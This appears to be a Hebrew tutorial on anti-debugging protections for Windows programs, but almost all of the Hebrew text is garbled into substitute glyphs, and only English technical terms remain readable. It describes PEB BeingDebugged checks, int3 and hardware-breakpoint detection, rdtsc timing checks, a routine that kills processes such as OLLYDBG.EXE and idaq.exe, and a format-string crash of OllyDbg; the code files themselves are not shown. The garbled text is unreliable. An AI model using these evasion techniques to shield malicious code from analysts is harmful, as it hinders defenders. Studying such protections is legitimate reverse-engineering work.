ˢ ˸˪˧˥˸ˬ-TEB ˣ˸ˣ˞ ˪˷ "ˢ˪˧ˠ˶" ˸˧˶˞ˮ˧˪ ˸˟ˣ˸˩ ˸ˮ˯˥ˣ˞ˬ (TEB ˟ ˫˧˷ˬ˸˷ˬ ˶˷˞˩ ˪˪˩ ˨˶ˡ˟ .ˣˬ˴˰-

TEB .˫ˡˣ˵ ˢ˸ˣ˞ ˧˸˴˪˧˥ ˫ˠ˷ ˢ˟˧˯ˢ ˸˞ˤˣ ,ˣˤˢ ˸˟ˣ˸˩˟ ˷ˣˬ˧˷ ˧ˡ˧ ˪˰ ˸˞ˤ ˫˧˷ˣ˰ 

 ˪˷ ˫˸˧˶ˣˠ˪˞ˢ ,ˢ˪˰ˬ˪˷ ˡˣ˵˟ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩detect_debugger_method_1 :˧˪˟ˬ˯˞˟ ˨˩ ˢ˞˶ˮ 

1. ˢ ˪˷ ˸˧˶˞ˮ˧˪ˢ ˸˟ˣ˸˩ˢ-TEB  ˨ˣ˸ˬ ˸˞˶˵ˮfs:[0x18] ˟ ˸˶ˬ˷ˮˣ-eax 

2. ˢ ˪˷ ˸˟ˣ˸˩ˢ-PEB ˢˬ ˨ˣ˸ˬ ˸˞˶˵ˮ-TEB ˟)-offset 0x30˟ ˟ˣ˷ ˸˶ˬ˷ˮˣ (-eax 

3.  ˢˡ˷ˢ ˪˷ ˨˶˰ˢBeingDebugged ˢ ˨ˣ˸ˬ-PEB ˟ ˶ˬ˷ˮ-eax ˶ˤ˥ˣˬˣ 

 

Debug x-Release 

Visual Studio  :˪ˡ˥ˬ ˸˶˧˶˟˩ ˸ˣˮˣ˷ ˸ˣ˧˴˶ˣˠ˧˲ˮˣ˵ ˧˸˷˟ ˧˪˷ ˡˣ˵ˢ ˸˞ ˪˲ˬ˵˪ ˧˪ ˶˷˲˞ˬDebug x-

Release .Debug ˷ ˡˣ˰˟ ,˸ˣ˵˧ˡ˟˪ˣ ˥ˣ˸˧˲˪ ˸ˡ˰ˣ˧ˬ-Release  ˢˮ˩ˣ˸ˢ ˪˷ ˸˧˲ˣ˯ˢ ˢ˴˲ˢ˪ ˶˸ˣ˧ ˸ˡ˰ˣ˧ˬ

 .˥ˣ˵˪˪ 

 ˣ˪˞ˢ ˸ˣ˧˴˶ˣˠ˧˲ˮˣ˵ˢ ˧˸˷ ˭˧˟ ˫˧˧˶˵˧˰ˢ ˫˧˪ˡ˟ˢˢ:ˣ˪˞ ˫ˢ ˧˸ˮ˧˥˟ˬ 

¶ ˪ ˫˧˪˲ˬ˵ˬ ˶˷˞˩-Debug ˭ˣˠ˩) ˸ˣ˞˧ˠ˷˟ ˪ˣ˲˧˦˟ ˶ˣˤ˰˪ ˪ˣ˩˧˷ ˱˯ˣˮ ˰ˡ˧ˬ˪ ˶ˣ˷˧˵ ˫ˠ ˢˮ˩ˣ˸˪ ˱˶ˣ˴ˬ ,

 ˸ˣˬ˷Symbols.('ˣ˩ˣ ˶ˣ˵ˬ ˡˣ˵ ,  

¶ ˟-Release  ˡˣ˰˟ 'ˣ˩ˣ ˶˸ˣ˧ ˶˧ˢˬ ˣ˸ˣ˞ ˸ˣ˷˰˪ ˧ˡ˩ ˡˣ˵˪ ˸ˣˮˣ˷ ˸ˣ˧˴ˤ˧ˬ˧˦˲ˣ˞ ˰˴˟˪ ˧˞˷˶ ˶˪˧˧˲ˬˣ˵ˢ

˟˷-Debug  ˞˵ˣˣˡ ˫˧ˬ˰˲˪ ˶˪˧˧˲ˬˣ˵ˢ.˱˯ˣˮ ˡˣ˵ ˯˧ˮ˩ˬ 

 ˸˧˲ˣ˯ˢ ˢˮ˩ˣ˸ˢ ˸˞ ˞˴˧˧ˬ ˧ˮ˞˪ ˸˪˲ˬˣ˵ˬ ˞˧ˢ ˶˷˞˩ ˧˪˷-Release  ˫ˣ˷ ˞˴˧˧˪ ˢ˴ˣ˶ ˞˪ ˧ˮ˞˷ ˭ˣˣ˧˩ˬ

ˢ ˸ˣ˞˶ˣˢˬ ˫˪˰˸ˬ ˶˪˧˧˲ˬˣ˵ˢ˷ ˧˸˧˪˧ˠ ˧˩ ˫ˠˣ ,ˠˮ˧ˠ˞˟˧ˡ˟ ˶ˤˣ˰˷ ˰ˡ˧ˬ-inline ˟ ˧˪˷-Debug  ˧ˡ˩ ˢ˞˶ˮ˩)

.(ˠˣ˟˧ˡ˟ ˶ˣˤ˰˪ 

 ˫˧ˬ˰˲˪ ˢˮ˩ˣ˸ˢ ˸˞ ˠ˟ˡ˪ ˟˧˧˥ ˧˸˧˧ˢ˷ ˭˟ˣˬ˩ ˨˞˪ ˧˸˪˲ˬ˧˵ ˣ˪˞ ˫˧˟˴ˬ˟) ˸ˡ˟ˣ˰ ˞˧ˢ˷ ˞ˡˣˣ˪ ˧ˡ˩-

Debug.ˠˣ˟˧ˡ ˭ˣ˧˯ˮ ˪˩˪ ˸ˡˠˮ˸ˬ ˧˪˷ ˢˮ˩ˣ˸ˢ˷ ˭˟ˣˬ˩ ˞˧ˢ ˢ˧˰˟ˢ .( 

ˢ ˸ˣ˵˧ˮ˩˦ˬ ˢ˟˶ˢ ˸ˣ˟˩˪ ˧˸˶˥˟ ˭˩˪-Anti Debugging ˪ ˧˸˪˲ˬ˧˵ ˶˷˞˩ ˧˪˷-Debug ˪ ˞˪ˣ-Release - 

˦ˬˣ˦ˣ˞ ˭˲ˣ˞˟ ˸˞ˤ ˸ˣ˷˰˪ ˧˸˪˩˧ .ˢˮ˩ˣ˸ˢ ˸˞ ˠ˟ˡ˪ ˧˶˷˲˞ ˧˸˪˟ ˦ˣ˷˲ ˸˶˥˞˪ ˸ˣˡˣˢ ˧-Macro  ˡ˥ˣ˧ˬ
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 ˫˷˟_DEBUG ˸˧˥˩ˣˮˢ ˢ˧˴˶ˣˠ˧˲ˮˣ˵ˢ˷ ˫˰˲ ˪˩˟ ˵ˣ˪ˡ˷  ˞˧ˢDebug˪ ˸ˣ˶ˣˢ˪ ˞ˣˢ ˶˞˷ˮ˷ ˢˬ ˪˩ .-

Preprocessor  ˸ˣ˵˧ˮ˩˦ ˫˧˲˵ˣ˰˷ ˡˣ˵ ˧˰˦˵ ˪˲ˬ˵˪Anti Debugging :˵ˣ˪ˡ ˢˤˢ ˪ˠˡˢ ˫˞ ˵˶ 

 

]˨ˣ˸ˬ debugger_detection.h :˶˷˞˩ ˧ˮ˞ ˠ˟ˡˬ ˸˞ ˢˮ˩˸ˢ ˪˷ ˧ˬ˴˰ ,˞˧ˢ ˞˪ ˢ˯ˮˬ ˶ˣ˴˰˪ ˧˸ˣ˞ ˸ˣ˷˰˪ˬ ˸˞ ˢˤ[ 

 

˧ˣˢ˧ˤ Breakpoint-˫˧ ˧˯˯ˣ˟ˬ ˢˮ˩ˣ˸ 

 ˸ˣˢˤ˪ ˸ˣ˯ˮ˪ ˧˸˶˥˟Breakpoint- ˠˣ˯ˬ ˫˧int 3 .ˢ˦ˣ˷˲ ˢ˵˧˶˯ ˸ˣ˰˴ˬ˞˟ (ˢ˪˥˸ˢ˟ ˧˸ˠ˴ˢ˷ ˧˲˩) 

 ˞ˣ˴ˬ˪ ˢ˯ˮˬ ˧ˮ˞Breakpoint- ˢ˧˴˵ˮˣ˲ˢ ˸ˣ˰˴ˬ˞˟ ˧˪˷ ˢˮ˩ˣ˸˟ ˸ˣˬˣ˵ˬ ˶˲˯ˬ˟ ˢˮ˩ˣ˸ ˧˯˯ˣ˟ˬ ˫˧

enforce_software_breakpoints  ˷˵ˣ˟ˬ ˥ˣˣ˦ ˵˶ˣ˯ ˢ˷˰ˬ˪ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˦ˣ˷˲ˢ ˫˸˧˶ˣˠ˪˞ˢ .˧˸˟˸˩˷

˪ ˞˸ ˪˩ ˪˷ ˢ˞ˣˣ˷ˢ ˧ˡ˧ ˪˰ ˭ˣ˶˩ˤ ˪˷-0xCC ˰˴˟ˬ ˞ˣˢ ,ˢ˦ˣ˷˲ ˢ˞ˣˣ˷ˢ ˰˴˟˪ ˫ˣ˵ˬ˟ ˪˟˞ .XOR  ˫˰

) ˫˧ˣ˯ˬ ˰ˣ˟˵0x10 ˢ˶˦ˬˢ ˸ˣ˶˸ˣ˧ˬ ˸ˣ˵˧ˡ˟ˣ ˪˟ˤ ˡˣ˵ ˫˰ ˟ˣ˪˧˷˟ .ˢ˪˟˵˸ˢ˷ ˢ˞˴ˣ˸ˢ ˸˞ ˢˣˣ˷ˬˣ ( ˪˷

:˶˸ˣ˧ ˱˞ ˸˞˟˥ˣˬ ˸˞ˤˢ ˢ˧˴˵ˮˣ˲ˢ 

 

]˨ˣ˸ˬ breakpoint_detection.h[ 

 ˞˴ˬˮˣ ˢˡ˧ˬ˟Breakpoint ˸˞˶ˣˢ ˫˰ ˯˶ˡˮ ˞ˣˢ ,nop )0x90 ˠˣ˯ˬ ˸˧ˬ˴˰ ˢˡˬ˷ˢ ˸˰˴˟˸ˬˣ (3 ˭˟ˣˬ˩ .

 ˣˬ˩ ˡˣ˵˟ ˫˧ˠ˦˶˦˯˞ ˸ˣˬˣ˵ˬ ˪˰ ˪˪˩ ˨˶ˡ˟ ˸˪˰˲ˣˬ ˢ˵˧˶˯ˢ˷MessageBox ˪˷ ˢ˯˧ˮ˩ˢ ˸ˡˣ˵ˮ ,

 ˸ˣ˧˴˵ˮˣ˲ ˣ˞ ,ˢˮ˩ˣ˸ˢ˸ˣ˶˥˞ ˸ˣ˧˦˧˶˵;  ˥˧ˮˢ˪ ˢ˴˶˧ ˣˢ˷˧ˬ˷ ˥˧ˮˢ˪ ˶˧˟˯ ˣ˪˞˩ ˸ˣˬˣ˵ˬ˟Breakpoint-.˫˧ 
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 ˧˩˶˰ ˧˸ˮ˧˧˴˷ ˧˲˩ˣ ˶˥˞ˬ ,˫˰˲ ˪˩˟ ˭ˣ˶˩ˤ ˪˷ ˭˦˵ ˥ˣˣ˦ ˪˰ ˣˤˢ ˢ˵˧˶˯ˢ ˸˞ ˰˴˟ˬ ˫ˠ ˧ˮ˞0xCC  ˫˧˪ˣ˪˰

 ˫˧ˠ˴˧˧ˬ ˞˪ ˫ˢ˷ ˸ˣ˶ˬ˪ ˢˮ˩ˣ˸ˢ ˪˷ ˡˣ˵ˢ ˶ˣˤ˞˟ ˰˧˲ˣˢ˪Breakpoint  ˧˸ˬ˷ ˧˪˷ ˢ˶˵ˬ˟ ,˪˷ˬ˪ .˧˸˧ˬ˞

ˢ˷ ˟˪-Linker  ˧˩˶˰ ˯˧ˮ˩ˢ˪ ˦˧˪˥ˢ0xCC ˩-Padding .˸ˣ˧˴˵ˮˣ˲ ˭˧˟ 

 

˧ˣˢ˧ˤ Breakpoint-˫˧ ˧˯˯ˣ˟ˬ ˢ˶ˬˣ˥ 

 ˶ˣ˴˧˪ ˧ˡ˩ ˡ˟˰ˬˢ ˪˷ ˢ˶ˬˣ˥˟ ˷ˬ˸˷ˢ˪ ˸ˣ˶˷˲˞ˢ ˸˞ ˫˧˪˪ˣ˩ ˫˧ˬ˧ˣ˯ˬ ˫˧˶ˠ˞˟˧ˡBreakpoint- ˫˧

 ˸ˣ˞˶ˣˢ ˪ˣ˸˷˪ ˫ˣ˵ˬ˟int 3 .Breakpoint- ˢˤˢ ˠˣ˯ˢˬ ˫˧ ˫˧ˡ˰ˣ˧ˬ˷ ˡ˟˰ˬ˟ ˫˧ˡ˥ˣ˧ˬ ˫˧˶ˠˣ˞˟ ˫˧˷ˬ˸˷ˬ

 ˨˩˪- s-Debug Registers :5ǊлΣ 5ǊмΣ 5ǊоΧΦ5Ǌт . 

 ˫˧˶ˠˣ˞ˢDr0  ˡ˰Dr3  ˢ˰˟˶˞ ˡ˰ ˪˷ ˭ˣ˶˩ˤ˟ ˸ˣ˟ˣ˸˩ˢ ˸˞ ˡ˧ˬ˸ ˫˧˪˧˩ˬBreakpoint- ˫˧˶ˠˣ˞ˢ ˶˞˷ˣ ,˫˧

 ˫˸ˣ˞ ˸˞ ˪˧˰˲ˢ˪ ˫˧˞ˮ˸ ˣ˪˧˞˟ ˭ˣˠ˩ ˧˪ˣˢ˧ˮ ˰ˡ˧ˬ ˫˧˪˧˩ˬBreakpoint-ˣ˞ˢ ˪˩˷ ˭˧˧˴˪ ˷˧ .˫˧ ˞˪ ˣ˪˞ˢ ˫˧˶ˠ

 ˪˷ ˢ˞˷˶ˢˢ ˸ˬ˶˟ ˫˧˷ˠˮRing 3  ˸ˣ˰˴ˬ˞˟ ˫ˢ˧˪˞ ˯˥˧˧˸ˢ˪ ˭˸˧ˮ ˭˩˪ˣ ,(˸ˣ˴˶ ˸ˣ˪˧ˠ˶ ˸ˣ˧ˮ˩ˣ˸ ˢ˟˷)

ˢ ˸ˬ˶ˬ ˵˶ ˶˧˷˧ ˧˪˟ˬ˯˞-Kernel )Ring 0.( 

˟ ˶ˤ˰˧ˢ˪ ˫˧˪ˣ˩˧ ˭˩ ˣˮ˥ˮ˞ˣ ˶˥˞ˬ ,˪˟˞-Kernel  ˪˩˪ ˭ˣ˸ˮ ˰ˠ˶ ˪˩˟ ˫˧˶ˠˣ˞ˢ ˟˴ˬ ˸˞ ˪˟˵˪ˣThread  ˧ˡ˧ ˪˰

˪ ˢ˞˧˶˵- GetThreadContext ˪˷ ˫ˣ˧˵ ˸ˣˢˤ˪ ˨˩ˣ ˣ˪˞ˢ ˫˧˶ˠˣ˞ˢ ˪˷ ˭˩ˣ˸ˢ ˸˞ ˵ˣˡ˟˪ ˫ˠ ˪˩ˣˮ ,

:˫˧˶ˠ˞˟˧ˡ 

 

]˨ˣ˸ˬ breakpoint_detection.h[ 

 ˫˧˶ˠˣ˞ˢˬ ˡ˥˞ ˫˞ˢ ˵ˡˣ˟ ˦ˣ˷˲ ˧ˮ˞ ˪"ˮˢ ˢ˧˴˵ˮˣ˲˟5ǊлΧ5Ǌо  ˰˴˟ˬ ˧ˮ˞ ,˟˴ˬˢ ˢˤˣ ˢˡ˧ˬ˟ .˵˧˶ ˣˮ˧˞

 ˢ˞˧˶˵ˢ ˧ˮ˲˪ ,ˢˬˠˣˡ˪ ,˧˸˷ˬ˸˷ˢ ˢˤˢ ˡˣ˵˟ .ˢ˧˧˵ˮ ˢ˞˧˴˧ ˢ˧˴˵ˮˣ˲˪MessageBox -  ˫˧˷˪ ˧˪˞ˡ˧˞ ˫ˣ˵ˬ

 ˣ˟Breakpoint. 
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ˠˮ˧ˬ˧˧˦ 

 ˧˰˦˵ ˭˧˟ ˭ˬˤˢ ˧˷˶˲ˢ ˸˞ ˡˣˡˬ˪ ˞˧ˢ ˢ˴˧˶ ˭ˬˤ˟ ˫˧˶ˠ˞˟˧ˡ ˪˷ ˸ˣ˞˴ˬ˧ˢ ˧ˣˢ˧ˤ˪ ˸ˣ˲˯ˣˮˢ ˫˧˩˶ˡˢˬ ˸˥˞

.˨˧˪ˢ˸˪ ˶˟ˣ˥ˬ ˞˪ ˶ˠ˞˟˧ˡ ˱˞ ˶˷˞˩ ˸˧˯˥˧ ˶ˢˬ ˳ˣ˶˪ ˫˧˶ˣˬ˞˷ ˡˣ˵ 

 ˳˟ˣ˵ˢtiming.h  ,˸˥˞ ˢ˧˴˵ˮˣ˲ ˵˶ ˪˪ˣ˩get_timing ˶˦ˬ˶˲˩ ˡ˰˧ ˢˮ˸˷ˬ ˪˷ ˸˟ˣ˸˩ ˸˪˟˵ˬ˷ ,

˧˪˟ˬ˯˞ˢ ˸˞˶ˣˢ ˸˶ˤ˰˟ ˧˥˩ˣˮˢ ˭ˬˤˢ ˸˞ ˣ˩ˣ˸˪ ˢ˵˧˸˰ˬˣ rdtsc )Read Time Stamp Counter ,˧˸˰ˡ˪ .(

 ˣˬ˩ ˯ˣˡˮ˧ˣˣ ˸˧˴˵ˮˣ˲ ˶˷˞ˬ ˧˪˷ ˸ˣˮˣˣ˩ˢ ˸˞ ˶˸ˣ˧ ˢ˟ˣ˦ ˢ˶ˣ˴˟ ˢ˞˧˟˥ˬ ˸˞ˤ˩ ˧˪˟ˬ˯˞ ˸˞˶ˣˢ˟ ˷ˣˬ˧˷

GetTickCount. 

 ˢ˞˶ˣˢˢrdtsc  ˢ˵˧˸˰ˬ ˨ˣ˸ ˪˞ ˢˮˣ˶˥˞ˢ ˢ˪˰˲ˢˢ ˤ˞ˬ ˣ˶˟˰˷ ˭ˣ˰˷ˢ ˧˶ˣˤ˥ˬ ˶˲˯ˬ ˸˞edx:eax ,

 ˷ˬ˸˷ˬ ˧ˮ˞˷ ˧ˮ˲˪ ,ˡˣ˵˟ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩ ,˭˩˪ .ˡ˥˞ ˞˪ˣ ˫˧˶ˠˣ˞ ˧ˮ˷ ˪˷ ˭˩ˣ˸ˢ ˸˞ ˸˯˲ˣ˸ ˞˧ˢ ˶ˬˣ˪˩

-˟rdtsc ˟ ˫ˢ˪˷ ˫˧˩˶˰ˢ ˸˞ ˶ˬˣ˷ ˪˩ ˫ˡˣ˵ ˧ˮ˞-Stack  ˸ˣ˰˴ˬ˞˟ ˫˸ˣ˞ ˶ˤ˥˷ˬ ˭˩ˬ ˶˥˞˪ˣpush x-pop. 

 ˪˩˟ ,˭˩ˬ ˶˥˞˪ ˶˲˯ˬ˟ ˷ˬ˸˷ˬ ˧ˮ˞ ˠˮ˧ˬ˧˧˦ ˸˲˵˸ˬ ˰˴˟˪ ˢ˴ˣ˶ ˧ˮ˞˷ ˫˰˲Macro- ˭ˣˠ˩ ˧˸˶˴˧˷ ˫˧

START_TIMING_CHECK x-END_TIMING_CHECK: 

 

]˨ˣ˸ˬ timing.h[ 
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ˡˣ˵ ˪˟ˤˢ 

 ˫ˠ ˸˞ˤˣ ,˫˧˷ˮ˞ ˪˟˪˟˪ ˧ˡ˩ ˡ˥ˣ˧ˬ˟ ˢ˪˧˰˧ ˢ˵˧ˮ˩˦ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˪˟ˤ ˡˣ˵ ˫˧˶˵ˬ ˢ˟˶ˢ˟˷ ˭˧ˬ˞ˬ ˧ˮ˞

 .ˣˮˬˬ ˢ˟˶ˢ ˸˧˯˥˧ ˧˸ˮ˩ˢ˷ ˢ˟˧˯ˢ:˫˧ˮˣ˷ ˫˧ˠˣ˯ ˢ˰˟˶˞˪ ˸ˣ˵˪˥ˮ ˧˸˟˸˩˷ ˸ˣ˧˴˵ˮˣ˲ˢ 

¶ WǳƴƪψмΣ ƧǳƴƪψнΧ ˪˟ˤ ˡˣ˵ :inlined  ˫˰ ˸ˣ˵˯˰˸ˢ ,˸ˣ˞˪ˣ˪ ˪˪ˣ˩˷ ˪˧ˠ˶string- ˫˧˧˦ˬ˸ˬ ˫˧˟ˣ˷˧˥ˣ ˫˧

˫˧ˮˣ˷ 

¶ WǳƴƪψŎƻƴŦǳǎŜψмΣ ƧǳƴƪψŎƻƴŦǳǎŜψнΧ ˭˩ ˫ˠ) ˡˣ˵ ˧˰˦˵ :inlined ˸ˣˡˣ˷˥ ˸ˣ˧˴˵ˮˣ˲˪ ˢˮˣˣ˩˟ ˫˧˞˶ˣ˵˷ (

 ˣˬ˩VirtualProtectEx  ˣ˞RegSetKeySecurity ˟ ˫˧˷ˬ˸˷ˬˣ-string-.ˡ˥ˣ˧ˬ˟ ˫˧ˮ˧˧ˮ˰ˬ ˫˧ 

¶ ǎƳŀƭƭψƧǳƴƪψмΣ ǎƳŀƭƭψƧǳƴƪψнΧ ˫˧ˬ˸˧˶ˣˠ˪˞ ˨ˣ˸˟ ˟˪˸˷ˢ˪ ˣˡ˰ˣˮ˷ ˧˪˟ˬ˯˞˟ ˫˧˶˴˵ ˪˟ˤ ˡˣ˵ ˧˰˦˵ :

.˫ˢˬ ˵˪˥ ˫ˢ ˣ˪˧˞˩ ˸ˣ˞˶˧ˢ˪ˣ ˶˸ˣ˧ ˫˧˪ˣˡˠ 

¶ WǳƴƪψŦǳƴŎψмΣ ƧǳƴƪψŦǳƴŎψнΧ ˞˪ ˫ˢ˷ ˸ˣˡ˧˥˧ˢ ˪˟ˤˢ ˸ˣ˧˴˵ˮˣ˲ :inlined ˢ ˫ˢ˪˷ ˢ˶˦ˬˢˣ ˱˰˯˪ ˞˧

.˸˧ˮ˩˸ˢ ˨˪ˢˬ ˸˞ ˶˸ˣ˧ 

 .˧˸˧ˬ˞ ˷ˣˬ˧˷ ˧˶˯˥ ˫˧˩˶˰ ˫˧ˮ˯˥˞ˬ˷ ˫˧˧˪˞˟ˣ˪ˠ ˪˟ˤ ˧ˮ˸˷ˬ ˫ˠ ˧˸˶˴˧ ,˪˟ˤˢ ˸ˣ˧˴˵ˮˣ˲˪ ˱˯ˣˮ˟

 ˫˞˸ˢ˟ ˸ˣ˲˰˸˯ˬ ˣ˞ ,˸ˣ˟˸ˣ˩ ,˸ˣ˞˶ˣ˵ ,˸ˣ˶˥˞ ˪˟ˤ ˸ˣ˧˴˵ˮˣ˲˪ ˫˧ˬ˰˲˪ ˸ˣ˞˶ˣ˵ ˸ˣˮˣ˷ˢ ˪˟ˤˢ ˸ˣ˧˴˵ˮˣ˲

.˫˧˧˪˞˟ˣ˪ˠˢ ˪˟ˤˢ ˧ˮ˸˷ˬ ˧˩˶˰˪  

 ˡˣ˵ˢˬ ˵˪˥˪ ˸ˣ˞ˬˠˣˡ˧˸˟˸˩˷: 
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˸ˠ˧˶ˢ ˫˧˶ˠ˞˟˧ˡ 

ˢ ˸˞˪ˣ˪ ˨ˣ˸˟-Messages  ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ ˧˸˯ˮ˩ˢ ˯ˣˡˮ˧ˣˣ ˪˷kill_common_debuggers  ˦ˣ˷˲˷

ˢ ˸ˬ˧˷˶˟ ˸˷˲˥ˬ-Process- ˸ˣˬ˷ˢ ˸˞ ˫˧ˬ˧˧˵ˢ ˫˧"idaq.exe"  ˣ˞"OLLYDBG.EXE"  ˫˞ ˫˸ˣ˞ ˸˶ˠˣ˯ˣ

 ˸ˣ˧˶˥˯ˬ ˸ˣˮ˩ˣ˸ ˶ˣ˟˰ ˧˪ˮˣ˧˴ˮ˟ˮˣ˵ ˞˪ ˸˴˵ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˞ˣˢ ˪˟˞ ˡˣ˞ˬ ˦ˣ˷˲ ˵˧˶˦ ˣˢˤ .˫˧˞˴ˬˮ ˫ˢ

.˸ˣ˧˸˧ˬ˞  

 

]˨ˣ˸ˬ kill _debuggers.h[ 

˸˯˶˵ˢ ˸ˮ˩ˣ˸ OLLYDBG 

˟ ˰ˣˡ˧ ˠ˞˟ ˪˴ˮˬ˷ ˭˦˵ ˵˧˶˦ ˡˣ˰˟ ˧˪˷ ˸˧ˮ˩˸˟ ˷ˬ˸˷ˢ˪ ˧˸˦˪˥ˢ-OllyDbg  ˸ˮ˩ˣ˸)Reversing 

ˢ ˳˟ˣ˵ ˸˞ ˥˸˲ˮ˷ ˰ˠ˶˟ ˢ˸ˣ˞ ˯˧˶˵ˢ˪ ˧ˡ˩ (˯ˣˡˮ˧ˣˣ˪ ˸˧˶˞˪ˣ˲ˣ˲-.exe -  ˪˰ ˳˥˪˧ ˣˢ˷˧ˬ ˪˪˩˟˷ ˧ˮ˲˪ ˡˣ˰

ˢ ˶ˣ˸˲˩- Play ˸˞ ˠ˟ˡ˪ ˪˧˥˸˧ˣ.ˢˮ˩ˣ˸ˢ 

˷ ˨˩ ˪˰ ˯˯˟˸ˬ ˠ˞˟ˢ-OllyDbg  ˪˷ ˸ˣˬ˧ˣ˯ˬ ˦ˣˬ˶˲ ˸ˣ˶ˣ˴ ˫˰ ˭ˣ˩ˮ ˸ˡˡˣˬ˸ˬ ˞˪string- ˸ˣ˥˪˷ˮ˷ ˫˧

 ˸ˣ˰˴ˬ˞˟ ˶ˠ˞˟˧ˡ˪OutputDebugStringˮ ˫˞ . ˢ˶ˣ˴ˢˬ ˢ˞˧˶˵ ˰˴˟OutputDebugString("%s%s%s") ,

OllyDebug ˟ ˷ˬˣˬˬ ˢˤ˷˩ ˟ˣ˦ ˶˸ˣ˧ ˣ˪˧˲˞ ˡ˟ˣ˰ ˢˤ .˯ˣ˶˵˸-TLS Callbackˢˮ˩ˣ˸ˢ ˣ˪˧˞˩ ˢ˞˶ˮˣ ,  ˣ˪˧˲˞

.˸ˬ˞˟ ˳ˣ˶˪ ˢ˪˧˥˸ˢ ˞˪ 

 

 ˸˞ ˥ˣ˸˲˪ ˢ˯ˮˮ ˫˞ ˸˰˩Win32Application.exe ˟-OllyDbg :˞˟ˢ ˨˯ˬˢ ˸˞ ˪˟˵ˮ 
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˸˵˧ˡ˟ ˢˬ˯˧˯ˢ ˸˧˲ˣ˯ˢ ˸˰˶˩ˬˢˣ 

ˢ ˶ˣ˸˲˩ ˪˰ ˳˥ˣ˪ ˷ˬ˸˷ˬˢ˷ ˰ˠ˶˟-OK  ˢ˧˴˵ˮˣ˲ˢ ,ˣ˪ ˥˸˲ˮ˷ ˭˦˵ˢ ˭ˣ˪˥˟

::OnButtonPressed()CodeWindow  ˠˣ˯ˬ ˷ˡ˥ ˦˵˧˧˟ˣ˞ ˶˴ˣˮ .˸˞˶˵ˮPasswordVerifier  ˣ˧˪˞ ˫˧˶˟˰ˣˬˣ

 ˸ˣ˰˴ˬ˞˟ ˭ˣ˶˩ˤ˟ ˸˞˟˥ˣˬ ˢˬ˯˧˯ˢ ˭˩ˬ ˶˥˞˪ .ˢˬ˴˰ ˢˬ˯˧˯˪ ˱˯ˣˮ˟ ˫˧ˮˣ˷ ˫˧˶˦ˬ˶˲ ˶˲˯ˬXOR ,

 ˸˶˟˰ˣˬ ˢ˦˧˪˷ˢˣ-˪::Verify()PasswordVerifier  ˣˤ ˢ˧˴˵ˮˣ˲ˣ ˢˡ˧ˬ˟ .˧˲ˣ˯ˢ ˞ˣˡ˧ˣˣˢ ˪˰ ˸˧˞˶˥˞˷

 ˸˥ˮ˰ˣ˲ˬ ˢ˥˪˴ˢˢ ˸˰ˡˣˢ ,ˢˮˣ˩ˮ ˢˬ˯˧˯ˢˣ ˢˡ˧ˬ˟ .˶˟ˡ ˢ˷ˣ˰ ˞˪ ˞˧ˢ ,ˢ˧ˣˠ˷ ˢˬ˯˧˯ˢ˷ ˢ˦˧˪˥ˬ

ˢ ˞˧ˢ ˢˬ˯˧˯ˢ ˶˷˞˩)-Key.˷ˬ˸˷ˬ˪ ˸ˠ˴ˣˬˣ ( 

 ˳˟ˣ˵ˢ ˪˩˷ ˭˟ˣˬ˩password_verifier.cpp  ˸ˣ˵˧ˮ˩˦˟ ˞˪ˬAnti Debugging  ˸ˣˬˣ˵ˬ ˧ˮˬ ˪˩˟ ˸ˣˮˣ˷

)breakpoint ,checksum ,timing.(ˡˣ˰ˣ ˪˟ˤ ˡˣ˵ , 

 ˨ˣ˸˟ ˷ˬˣˬˬ˷ ˣˬ˴˰ ˫˸˧˶ˣˠ˪˞ˢ::Verify()PasswordVerifier  ,ˣˬ˴˰˟ ˪˲˩) ˸ˣ˪ˣ˰˲ ˶˲˯ˬ ˰˴˟ˬXOR ,

 ˫˰ ˟ˣ˪˧˷˟ ˯˧ˮ˩ˢ ˷ˬ˸˷ˬˢ˷ ˢˬ˯˧˯˟ ˣ˸ ˪˩ ˪˰ (...˰ˣ˟˵ ˸˲˯ˣˢKey  ˱ˣ˯˟˪ .˫˧˸˧˧˟ ˧ˮ˷ ˪ˡˣˠ˟

˵˪ ˸ˣˣ˷ˬ ˢ˞˴ˣ˸ˢ.ˢˬ˯˧˯ˢ ˪˷ ˸ˣˮˣ˩ˮˢ ˸˞ ˰ˣ˟˵˪ ˧ˡ˩ ˫˧ˣ˯ˬ ˰ˣ˟ 

 

]˸˧˶ˣˠ˪˞ ˫˞ˣˡ˧ˣˣˢ ˪˷ ˢˬ˯˧˯ˢ[ 
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 :˸˲˯ˣˮ ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ ˸˰˴˟˸ˬ ˡˣ˵˟ ˫˧ˣ˯ˬ ˟˪˷˟GetSequenceNumber ˸˧˴˵ˮˣ˲ ˧ˢˣˤ .inline 

 ˧˦ˬ˸ˬ ˭˲ˣ˞˟ ˶˥˞ ˶˲˯ˬ ˣˮˬˬ ˶ˣˤˠ˪ˣ ˶˲˯ˬ ˪˟˵˪ ˦ˣ˷˲ ˞ˣˢ ˢ˪˷ ˡ˧˵˲˸ˢ˷˞ˣˢ˷˪˩ ˷ˣˬ˧˷˟ ˭ˣ˧˰˶ˢ .

ˣˤ˩ ˢ˧˴˵ˮˣ˲˟  ˶˷˲˞ ˧˞ˣ ˸˧˲ˣ˯ˢ ˢ˞˴ˣ˸ˢ ˪˰ ˢ˰˧˲˷ˬ˷ ˢ˵˧ˬ˸˧˶ˣˠ˪˞ ˧˲ˣ˯ˢ ˞ˣˡ˧ˣˣˢ ˡˣ˵˪ ˯˧ˮ˩ˢ˪ ˞ˣˢ

 (ˢ˶ˣ˷˵ˣ ˸ˮ˧˧ˮ˰ˬ ˸˧˞˶ˮ ˞˧ˢ˷ ˨˩) ˢ˧˪˰ ˠ˪ˡ˪-  ˪˩˟ ˫˧˰ˣ˟˵ ˫˧˦˪˲ ˫˸ˣ˞ ˸˞ ˢ˟˧ˮˬ ˢ˷˰ˬ˪ ˞˧ˢ˷ ˞˪˞

